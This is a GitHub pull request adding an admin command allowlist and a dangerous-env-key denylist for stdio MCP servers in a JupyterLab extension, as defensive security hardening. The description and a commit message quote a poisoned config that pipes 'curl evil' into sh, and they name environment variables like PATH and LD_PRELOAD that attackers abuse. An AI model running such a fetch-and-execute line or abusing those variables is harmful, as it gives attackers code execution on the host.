Skip to content

security(mcp): admin allowlist for stdio MCP server commands#298

Open
pjdoland wants to merge 2 commits into
plmbr:mainfrom
pjdoland:feat/mcp-command-allowlist
Open

security(mcp): admin allowlist for stdio MCP server commands#298
pjdoland wants to merge 2 commits into
plmbr:mainfrom
pjdoland:feat/mcp-command-allowlist

Conversation

@pjdoland
Copy link
Copy Markdown
Collaborator

@pjdoland pjdoland commented May 18, 2026

Summary

MCP servers configured with a stdio transport are spawned as subprocesses of the JupyterLab server user. Both insertion points (ClaudeMCPManager.add_server for the Claude CLI mcp add flow, and MCPManager.create_mcp_server for the in-process mcp.json loader) previously validated only flag-smuggling on the command field. A poisoned config like {command: 'sh', args: ['-c', 'curl evil|sh']} was accepted and ran on next session start.

Solution

Add an opt-in regex allowlist for the stdio command binary, plumbed via:

  • mcp_stdio_command_allowlist traitlet on NotebookIntelligence (List[Unicode], default empty)
  • NBI_MCP_STDIO_COMMAND_ALLOWLIST env var (CSV; appends to the traitlet via the existing _resolve_csv_appended helper)
  • Threaded into ClaudeMCPManager via a class attribute on ClaudeMCPBaseHandler and into MCPManager via the AIServiceManager options dict

Empty list (the default) means no enforcement; per-user deployments keep working unchanged. Non-empty list rejects any stdio MCP server whose command matches no pattern. Patterns are re.search; admins anchor with ^...$ for literal equality.

Paired with a fixed env-key denylist (PATH, LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_*, PYTHONPATH, PYTHONSTARTUP, PYTHONHOME, NODE_OPTIONS, NODE_PATH, BASH_ENV, ENV) applied to every stdio MCP entry regardless of allowlist state. Without that companion check, an attacker could resolve an allowlisted binary name through a poisoned PATH, or inject a shared object before the binary's entry point via LD_PRELOAD. The env-key check normalizes with .strip().upper() before comparing so smuggling via " PATH" or "PATH\t" is caught the same way as "PATH".

The allowlist also gates the HTTP write path (MCPConfigFileHandler.post): a rejected stdio entry returns HTTP 400 with the policy message and is refused before the user's mcp.json is touched. Without this, a rejected entry would be persisted to disk and re-trigger the load-time warning on every restart; the spawn-side gate alone left the two surfaces inconsistent.

Failure handling per call site:

  • ClaudeMCPManager.add_server and MCPConfigFileHandler.post raise/return ValueError so the REST POST returns 400 with the message visible in the Settings UI
  • MCPManager.create_mcp_server logs a warning naming the server and skips so one bad mcp.json entry cannot disable the rest

Testing

  • tests/test_mcp_policy.py: validator semantics (default permissive, anchoring footgun, empty/non-string command), regex compile errors (loud-fail-on-typo), env-key denylist coverage (Linux + macOS variants, case-insensitive, whitespace normalization for leading/trailing space and tab).
  • tests/test_claude_mcp_manager.py: cases covering the new branch (allowlist rejects with no CLI fork, allowlist accepts and proceeds, URL transports unaffected, env-key rejection at add time).
  • tests/test_mcp_manager_command_allowlist.py: permissive default, rejection log, accepted command, URL transports, env-key denylist regardless of allowlist, an end-to-end traitlet to _resolve_csv_appended to manager to validator wiring check, and MCPConfigFileHandler.post rejection (verifying HTTP 400 + no nbi_config.save call on rejection).
  • Full suites: pytest 795 pass, tsc clean, prettier clean, jest clean.

Risks / follow-ups

  • Behavior change: deployments with the traitlet or env unset are not affected. Deployments that opt in will reject stdio servers that don't match a pattern, and will reject env containing the denylisted keys regardless of allowlist state. The env denylist is the more likely catch for legitimate configs; document with operators before rolling out.
  • Scope: binary name, not argv. The gate matches command only. args flow through unchecked, so an allowlist permitting npx still accepts args: ['-y', 'evil-pkg']. Admins who need argv-level control should point command at a wrapper script they own. Helptext and docs/admin-guide.md both call this out.
  • Out of scope follow-ups, worth tracking separately:
    • URL host allowlist (allowed_mcp_url_hosts) for sse/http transports.
    • UI affordance to surface "blocked by admin policy" status in the MCP servers panel rather than silently missing.
    • Re-validating already-persisted entries in ~/.claude.json on startup when the allowlist tightens (Claude itself owns the spawn, so any retroactive enforcement would require either editing ~/.claude.json from NBI or shelling out to claude mcp remove).
    • Caching compiled regex patterns once per MCPManager instance; current cold-path call frequency makes the recompile cost negligible.

@pjdoland pjdoland added the enhancement New feature or request label May 18, 2026
@pjdoland pjdoland added the bug Something isn't working label May 18, 2026
@pjdoland pjdoland changed the title feat(mcp): admin allowlist for stdio MCP server commands security(mcp): admin allowlist for stdio MCP server commands May 18, 2026
pjdoland added 2 commits May 19, 2026 06:13
MCP servers configured with a stdio transport are spawned as subprocesses
of the JupyterLab server user, with full filesystem and network reach.
Both the Claude CLI mcp add path and the in-process mcp.json loader
forwarded the user-supplied command verbatim to the kernel, validating
only flag-smuggling. A social-engineered or LLM-suggested config like
{command: 'sh', args: ['-c', 'curl evil|sh']} landed as RCE on the next
session start.

Add an opt-in regex allowlist plumbed via mcp_stdio_command_allowlist
(traitlet on NotebookIntelligence) and NBI_MCP_STDIO_COMMAND_ALLOWLIST
(CSV env that appends to the traitlet, via the existing
_resolve_csv_appended helper). When non-empty, every stdio MCP server,
whether added via Claude mcp add or loaded from mcp.json, must match at
least one pattern. Empty list (the default) means no enforcement so
existing per-user deployments are unaffected.

The binary-name gate is paired with a fixed denylist of dangerous env
keys (PATH, LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_*, PYTHONPATH,
PYTHONSTARTUP, PYTHONHOME, NODE_OPTIONS, NODE_PATH, BASH_ENV, ENV)
applied to every stdio MCP entry regardless of allowlist state. Without
that companion check, a poisoned PATH would resolve an allowlisted
binary name to attacker-controlled code, and LD_PRELOAD-style preloads
would inject a shared object before the binary's entry point runs.

Failure handling matches the surrounding context at each gate: the
ClaudeMCPManager.add_server REST POST raises ValueError to surface a
400 with the operator's message, while MCPManager.create_mcp_server
warns and skips so one bad mcp.json entry cannot take the others
offline. URL transports are not gated (they don't fork a local process;
HTTPS-only continues to apply); args are not gated either, and the
helptext and admin-guide section call this out as a known scope
limitation that admins close by pointing command at a wrapper script
they own.
Second-pass review surfaced two gaps:

1. ``MCPConfigFileHandler.post`` wrote the user's mcp.json to disk and
   then let ``update_mcp_servers`` log + skip rejected entries at load
   time. A rejected stdio entry would persist and re-trigger the
   warning on every restart, with the user's settings UI reporting
   {"status":"ok"} either way. Add the same allowlist + env-key
   denylist check inside the handler, return HTTP 400 with the
   policy message, and refuse the write. The Claude-mode path and
   the JSON-paste path now reject identically.

2. ``reject_dangerous_env_keys`` used a case-only comparison, so
   `" PATH"` / `"PATH\t"` would slip past while still being honored by
   downstream subprocess env handling. Normalize with strip+upper
   before comparing. New parametrized test pins the leading/trailing-
   whitespace and mixed-case variants.

Also: handler test that exercises the rejection path through the
real ``post`` function (via ``__wrapped__`` to bypass the
@authenticated decorator), confirming (a) HTTP 400 status, (b) error
message contains the policy hint, (c) nbi_config.save is NOT called.
@pjdoland pjdoland force-pushed the feat/mcp-command-allowlist branch from 69db9d5 to 2d4b34b Compare May 19, 2026 10:15
@pjdoland pjdoland added this to the 5.1.x milestone May 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working enhancement New feature or request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants